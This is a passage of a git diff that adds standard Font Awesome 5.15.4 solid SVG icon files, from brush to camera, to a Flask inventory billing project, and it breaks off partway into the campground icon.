Flask/static/font-awesome/svgs/solid/brush.svg new file mode 100644 index 00000000..9b312d4c --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/brush.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 384 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M352 0H32C14.33 0 0 14.33 0 32v224h384V32c0-17.67-14.33-32-32-32zM0 320c0 35.35 28.66 64 64 64h64v64c0 35.35 28.66 64 64 64s64-28.65 64-64v-64h64c35.34 0 64-28.65 64-64v-32H0v32zm192 104c13.25 0 24 10.74 24 24 0 13.25-10.75 24-24 24s-24-10.75-24-24c0-13.26 10.75-24 24-24z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/bug.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/bug.svg new file mode 100644 index 00000000..0d29eb69 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/bug.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M511.988 288.9c-.478 17.43-15.217 31.1-32.653 31.1H424v16c0 21.864-4.882 42.584-13.6 61.145l60.228 60.228c12.496 12.497 12.496 32.758 0 45.255-12.498 12.497-32.759 12.496-45.256 0l-54.736-54.736C345.886 467.965 314.351 480 280 480V236c0-6.627-5.373-12-12-12h-24c-6.627 0-12 5.373-12 12v244c-34.351 0-65.886-12.035-90.636-32.108l-54.736 54.736c-12.498 12.497-32.759 12.496-45.256 0-12.496-12.497-12.496-32.758 0-45.255l60.228-60.228C92.882 378.584 88 357.864 88 336v-16H32.666C15.23 320 .491 306.33.013 288.9-.484 270.816 14.028 256 32 256h56v-58.745l-46.628-46.628c-12.496-12.497-12.496-32.758 0-45.255 12.498-12.497 32.758-12.497 45.256 0L141.255 160h229.489l54.627-54.627c12.498-12.497 32.758-12.497 45.256 0 12.496 12.497 12.496 32.758 0 45.255L424 197.255V256h56c17.972 0 32.484 14.816 31.988 32.9zM257 0c-61.856 0-112 50.144-112 112h224C369 50.144 318.856 0 257 0z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/building.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/building.svg new file mode 100644 index 00000000..a18eda12 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/building.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M436 480h-20V24c0-13.255-10.745-24-24-24H56C42.745 0 32 10.745 32 24v456H12c-6.627 0-12 5.373-12 12v20h448v-20c0-6.627-5.373-12-12-12zM128 76c0-6.627 5.373-12 12-12h40c6.627 0 12 5.373 12 12v40c0 6.627-5.373 12-12 12h-40c-6.627 0-12-5.373-12-12V76zm0 96c0-6.627 5.373-12 12-12h40c6.627 0 12 5.373 12 12v40c0 6.627-5.373 12-12 12h-40c-6.627 0-12-5.373-12-12v-40zm52 148h-40c-6.627 0-12-5.373-12-12v-40c0-6.627 5.373-12 12-12h40c6.627 0 12 5.373 12 12v40c0 6.627-5.373 12-12 12zm76 160h-64v-84c0-6.627 5.373-12 12-12h40c6.627 0 12 5.373 12 12v84zm64-172c0 6.627-5.373 12-12 12h-40c-6.627 0-12-5.373-12-12v-40c0-6.627 5.373-12 12-12h40c6.627 0 12 5.373 12 12v40zm0-96c0 6.627-5.373 12-12 12h-40c-6.627 0-12-5.373-12-12v-40c0-6.627 5.373-12 12-12h40c6.627 0 12 5.373 12 12v40zm0-96c0 6.627-5.373 12-12 12h-40c-6.627 0-12-5.373-12-12V76c0-6.627 5.373-12 12-12h40c6.627 0 12 5.373 12 12v40z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/bullhorn.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/bullhorn.svg new file mode 100644 index 00000000..7e9eb2e0 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/bullhorn.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 576 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M576 240c0-23.63-12.95-44.04-32-55.12V32.01C544 23.26 537.02 0 512 0c-7.12 0-14.19 2.38-19.98 7.02l-85.03 68.03C364.28 109.19 310.66 128 256 128H64c-35.35 0-64 28.65-64 64v96c0 35.35 28.65 64 64 64h33.7c-1.39 10.48-2.18 21.14-2.18 32 0 39.77 9.26 77.35 25.56 110.94 5.19 10.69 16.52 17.06 28.4 17.06h74.28c26.05 0 41.69-29.84 25.9-50.56-16.4-21.52-26.15-48.36-26.15-77.44 0-11.11 1.62-21.79 4.41-32H256c54.66 0 108.28 18.81 150.98 52.95l85.03 68.03a32.023 32.023 0 0 0 19.98 7.02c24.92 0 32-22.78 32-32V295.13C563.05 284.04 576 263.63 576 240zm-96 141.42l-33.05-26.44C392.95 311.78 325.12 288 256 288v-96c69.12 0 136.95-23.78 190.95-66.98L480 98.58v282.84z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/bullseye.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/bullseye.svg new file mode 100644 index 00000000..8adca08f --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/bullseye.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 496 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M248 8C111.03 8 0 119.03 0 256s111.03 248 248 248 248-111.03 248-248S384.97 8 248 8zm0 432c-101.69 0-184-82.29-184-184 0-101.69 82.29-184 184-184 101.69 0 184 82.29 184 184 0 101.69-82.29 184-184 184zm0-312c-70.69 0-128 57.31-128 128s57.31 128 128 128 128-57.31 128-128-57.31-128-128-128zm0 192c-35.29 0-64-28.71-64-64s28.71-64 64-64 64 28.71 64 64-28.71 64-64 64z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/burn.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/burn.svg new file mode 100644 index 00000000..e40a525d --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/burn.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 384 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M192 0C79.7 101.3 0 220.9 0 300.5 0 425 79 512 192 512s192-87 192-211.5c0-79.9-80.2-199.6-192-300.5zm0 448c-56.5 0-96-39-96-94.8 0-13.5 4.6-61.5 96-161.2 91.4 99.7 96 147.7 96 161.2 0 55.8-39.5 94.8-96 94.8z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/bus-alt.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/bus-alt.svg new file mode 100644 index 00000000..ba46a37a --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/bus-alt.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M488 128h-8V80c0-44.8-99.2-80-224-80S32 35.2 32 80v48h-8c-13.25 0-24 10.74-24 24v80c0 13.25 10.75 24 24 24h8v160c0 17.67 14.33 32 32 32v32c0 17.67 14.33 32 32 32h32c17.67 0 32-14.33 32-32v-32h192v32c0 17.67 14.33 32 32 32h32c17.67 0 32-14.33 32-32v-32h6.4c16 0 25.6-12.8 25.6-25.6V256h8c13.25 0 24-10.75 24-24v-80c0-13.26-10.75-24-24-24zM160 72c0-4.42 3.58-8 8-8h176c4.42 0 8 3.58 8 8v16c0 4.42-3.58 8-8 8H168c-4.42 0-8-3.58-8-8V72zm-48 328c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32zm128-112H128c-17.67 0-32-14.33-32-32v-96c0-17.67 14.33-32 32-32h112v160zm32 0V128h112c17.67 0 32 14.33 32 32v96c0 17.67-14.33 32-32 32H272zm128 112c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/bus.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/bus.svg new file mode 100644 index 00000000..3ba1ee9d --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/bus.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M488 128h-8V80c0-44.8-99.2-80-224-80S32 35.2 32 80v48h-8c-13.25 0-24 10.74-24 24v80c0 13.25 10.75 24 24 24h8v160c0 17.67 14.33 32 32 32v32c0 17.67 14.33 32 32 32h32c17.67 0 32-14.33 32-32v-32h192v32c0 17.67 14.33 32 32 32h32c17.67 0 32-14.33 32-32v-32h6.4c16 0 25.6-12.8 25.6-25.6V256h8c13.25 0 24-10.75 24-24v-80c0-13.26-10.75-24-24-24zM112 400c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32zm16-112c-17.67 0-32-14.33-32-32V128c0-17.67 14.33-32 32-32h256c17.67 0 32 14.33 32 32v128c0 17.67-14.33 32-32 32H128zm272 112c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/business-time.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/business-time.svg new file mode 100644 index 00000000..dbef4957 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/business-time.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 640 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M496 224c-79.59 0-144 64.41-144 144s64.41 144 144 144 144-64.41 144-144-64.41-144-144-144zm64 150.29c0 5.34-4.37 9.71-9.71 9.71h-60.57c-5.34 0-9.71-4.37-9.71-9.71v-76.57c0-5.34 4.37-9.71 9.71-9.71h12.57c5.34 0 9.71 4.37 9.71 9.71V352h38.29c5.34 0 9.71 4.37 9.71 9.71v12.58zM496 192c5.4 0 10.72.33 16 .81V144c0-25.6-22.4-48-48-48h-80V48c0-25.6-22.4-48-48-48H176c-25.6 0-48 22.4-48 48v48H48c-25.6 0-48 22.4-48 48v80h395.12c28.6-20.09 63.35-32 100.88-32zM320 96H192V64h128v32zm6.82 224H208c-8.84 0-16-7.16-16-16v-48H0v144c0 25.6 22.4 48 48 48h291.43C327.1 423.96 320 396.82 320 368c0-16.66 2.48-32.72 6.82-48z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/calculator.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/calculator.svg new file mode 100644 index 00000000..8684a62a --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/calculator.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M400 0H48C22.4 0 0 22.4 0 48v416c0 25.6 22.4 48 48 48h352c25.6 0 48-22.4 48-48V48c0-25.6-22.4-48-48-48zM128 435.2c0 6.4-6.4 12.8-12.8 12.8H76.8c-6.4 0-12.8-6.4-12.8-12.8v-38.4c0-6.4 6.4-12.8 12.8-12.8h38.4c6.4 0 12.8 6.4 12.8 12.8v38.4zm0-128c0 6.4-6.4 12.8-12.8 12.8H76.8c-6.4 0-12.8-6.4-12.8-12.8v-38.4c0-6.4 6.4-12.8 12.8-12.8h38.4c6.4 0 12.8 6.4 12.8 12.8v38.4zm128 128c0 6.4-6.4 12.8-12.8 12.8h-38.4c-6.4 0-12.8-6.4-12.8-12.8v-38.4c0-6.4 6.4-12.8 12.8-12.8h38.4c6.4 0 12.8 6.4 12.8 12.8v38.4zm0-128c0 6.4-6.4 12.8-12.8 12.8h-38.4c-6.4 0-12.8-6.4-12.8-12.8v-38.4c0-6.4 6.4-12.8 12.8-12.8h38.4c6.4 0 12.8 6.4 12.8 12.8v38.4zm128 128c0 6.4-6.4 12.8-12.8 12.8h-38.4c-6.4 0-12.8-6.4-12.8-12.8V268.8c0-6.4 6.4-12.8 12.8-12.8h38.4c6.4 0 12.8 6.4 12.8 12.8v166.4zm0-256c0 6.4-6.4 12.8-12.8 12.8H76.8c-6.4 0-12.8-6.4-12.8-12.8V76.8C64 70.4 70.4 64 76.8 64h294.4c6.4 0 12.8 6.4 12.8 12.8v102.4z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/calendar-alt.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/calendar-alt.svg new file mode 100644 index 00000000..d0fc73a3 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/calendar-alt.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M0 464c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V192H0v272zm320-196c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v40c0 6.6-5.4 12-12 12h-40c-6.6 0-12-5.4-12-12v-40zm0 128c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v40c0 6.6-5.4 12-12 12h-40c-6.6 0-12-5.4-12-12v-40zM192 268c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v40c0 6.6-5.4 12-12 12h-40c-6.6 0-12-5.4-12-12v-40zm0 128c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v40c0 6.6-5.4 12-12 12h-40c-6.6 0-12-5.4-12-12v-40zM64 268c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v40c0 6.6-5.4 12-12 12H76c-6.6 0-12-5.4-12-12v-40zm0 128c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v40c0 6.6-5.4 12-12 12H76c-6.6 0-12-5.4-12-12v-40zM400 64h-48V16c0-8.8-7.2-16-16-16h-32c-8.8 0-16 7.2-16 16v48H160V16c0-8.8-7.2-16-16-16h-32c-8.8 0-16 7.2-16 16v48H48C21.5 64 0 85.5 0 112v48h448v-48c0-26.5-21.5-48-48-48z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/calendar-check.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/calendar-check.svg new file mode 100644 index 00000000..b07183bb --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/calendar-check.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M436 160H12c-6.627 0-12-5.373-12-12v-36c0-26.51 21.49-48 48-48h48V12c0-6.627 5.373-12 12-12h40c6.627 0 12 5.373 12 12v52h128V12c0-6.627 5.373-12 12-12h40c6.627 0 12 5.373 12 12v52h48c26.51 0 48 21.49 48 48v36c0 6.627-5.373 12-12 12zM12 192h424c6.627 0 12 5.373 12 12v260c0 26.51-21.49 48-48 48H48c-26.51 0-48-21.49-48-48V204c0-6.627 5.373-12 12-12zm333.296 95.947l-28.169-28.398c-4.667-4.705-12.265-4.736-16.97-.068L194.12 364.665l-45.98-46.352c-4.667-4.705-12.266-4.736-16.971-.068l-28.397 28.17c-4.705 4.667-4.736 12.265-.068 16.97l82.601 83.269c4.667 4.705 12.265 4.736 16.97.068l142.953-141.805c4.705-4.667 4.736-12.265.068-16.97z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/calendar-day.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/calendar-day.svg new file mode 100644 index 00000000..c76c3f66 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/calendar-day.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M0 464c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V192H0v272zm64-192c0-8.8 7.2-16 16-16h96c8.8 0 16 7.2 16 16v96c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16v-96zM400 64h-48V16c0-8.8-7.2-16-16-16h-32c-8.8 0-16 7.2-16 16v48H160V16c0-8.8-7.2-16-16-16h-32c-8.8 0-16 7.2-16 16v48H48C21.5 64 0 85.5 0 112v48h448v-48c0-26.5-21.5-48-48-48z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/calendar-minus.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/calendar-minus.svg new file mode 100644 index 00000000..6c246a0e --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/calendar-minus.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M436 160H12c-6.6 0-12-5.4-12-12v-36c0-26.5 21.5-48 48-48h48V12c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v52h128V12c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v52h48c26.5 0 48 21.5 48 48v36c0 6.6-5.4 12-12 12zM12 192h424c6.6 0 12 5.4 12 12v260c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V204c0-6.6 5.4-12 12-12zm304 192c6.6 0 12-5.4 12-12v-40c0-6.6-5.4-12-12-12H132c-6.6 0-12 5.4-12 12v40c0 6.6 5.4 12 12 12h184z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/calendar-plus.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/calendar-plus.svg new file mode 100644 index 00000000..0dc3e9c2 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/calendar-plus.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M436 160H12c-6.6 0-12-5.4-12-12v-36c0-26.5 21.5-48 48-48h48V12c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v52h128V12c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v52h48c26.5 0 48 21.5 48 48v36c0 6.6-5.4 12-12 12zM12 192h424c6.6 0 12 5.4 12 12v260c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V204c0-6.6 5.4-12 12-12zm316 140c0-6.6-5.4-12-12-12h-60v-60c0-6.6-5.4-12-12-12h-40c-6.6 0-12 5.4-12 12v60h-60c-6.6 0-12 5.4-12 12v40c0 6.6 5.4 12 12 12h60v60c0 6.6 5.4 12 12 12h40c6.6 0 12-5.4 12-12v-60h60c6.6 0 12-5.4 12-12v-40z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/calendar-times.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/calendar-times.svg new file mode 100644 index 00000000..b32f3788 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/calendar-times.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M436 160H12c-6.6 0-12-5.4-12-12v-36c0-26.5 21.5-48 48-48h48V12c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v52h128V12c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v52h48c26.5 0 48 21.5 48 48v36c0 6.6-5.4 12-12 12zM12 192h424c6.6 0 12 5.4 12 12v260c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V204c0-6.6 5.4-12 12-12zm257.3 160l48.1-48.1c4.7-4.7 4.7-12.3 0-17l-28.3-28.3c-4.7-4.7-12.3-4.7-17 0L224 306.7l-48.1-48.1c-4.7-4.7-12.3-4.7-17 0l-28.3 28.3c-4.7 4.7-4.7 12.3 0 17l48.1 48.1-48.1 48.1c-4.7 4.7-4.7 12.3 0 17l28.3 28.3c4.7 4.7 12.3 4.7 17 0l48.1-48.1 48.1 48.1c4.7 4.7 12.3 4.7 17 0l28.3-28.3c4.7-4.7 4.7-12.3 0-17L269.3 352z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/calendar-week.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/calendar-week.svg new file mode 100644 index 00000000..c82bf52d --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/calendar-week.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M0 464c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V192H0v272zm64-192c0-8.8 7.2-16 16-16h288c8.8 0 16 7.2 16 16v64c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16v-64zM400 64h-48V16c0-8.8-7.2-16-16-16h-32c-8.8 0-16 7.2-16 16v48H160V16c0-8.8-7.2-16-16-16h-32c-8.8 0-16 7.2-16 16v48H48C21.5 64 0 85.5 0 112v48h448v-48c0-26.5-21.5-48-48-48z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/calendar.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/calendar.svg new file mode 100644 index 00000000..d9689d93 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/calendar.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M12 192h424c6.6 0 12 5.4 12 12v260c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V204c0-6.6 5.4-12 12-12zm436-44v-36c0-26.5-21.5-48-48-48h-48V12c0-6.6-5.4-12-12-12h-40c-6.6 0-12 5.4-12 12v52H160V12c0-6.6-5.4-12-12-12h-40c-6.6 0-12 5.4-12 12v52H48C21.5 64 0 85.5 0 112v36c0 6.6 5.4 12 12 12h424c6.6 0 12-5.4 12-12z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/camera-retro.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/camera-retro.svg new file mode 100644 index 00000000..bc0e795d --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/camera-retro.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M48 32C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h416c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48H48zm0 32h106c3.3 0 6 2.7 6 6v20c0 3.3-2.7 6-6 6H38c-3.3 0-6-2.7-6-6V80c0-8.8 7.2-16 16-16zm426 96H38c-3.3 0-6-2.7-6-6v-36c0-3.3 2.7-6 6-6h138l30.2-45.3c1.1-1.7 3-2.7 5-2.7H464c8.8 0 16 7.2 16 16v74c0 3.3-2.7 6-6 6zM256 424c-66.2 0-120-53.8-120-120s53.8-120 120-120 120 53.8 120 120-53.8 120-120 120zm0-208c-48.5 0-88 39.5-88 88s39.5 88 88 88 88-39.5 88-88-39.5-88-88-88zm-48 104c-8.8 0-16-7.2-16-16 0-35.3 28.7-64 64-64 8.8 0 16 7.2 16 16s-7.2 16-16 16c-17.6 0-32 14.4-32 32 0 8.8-7.2 16-16 16z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/camera.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/camera.svg new file mode 100644 index 00000000..acb73beb --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/camera.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M512 144v288c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V144c0-26.5 21.5-48 48-48h88l12.3-32.9c7-18.7 24.9-31.1 44.9-31.1h125.5c20 0 37.9 12.4 44.9 31.1L376 96h88c26.5 0 48 21.5 48 48zM376 288c0-66.2-53.8-120-120-120s-120 53.8-120 120 53.8 120 120 120 120-53.8 120-120zm-32 0c0 48.5-39.5 88-88 88s-88-39.5-88-88 39.5-88 88-88 88 39.5 88 88z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/campground.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/campground.svg new file mode 100644 index 00000000..0b4fcfe8 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/campground.svg @@ -0,0 +1 @@ +<svg 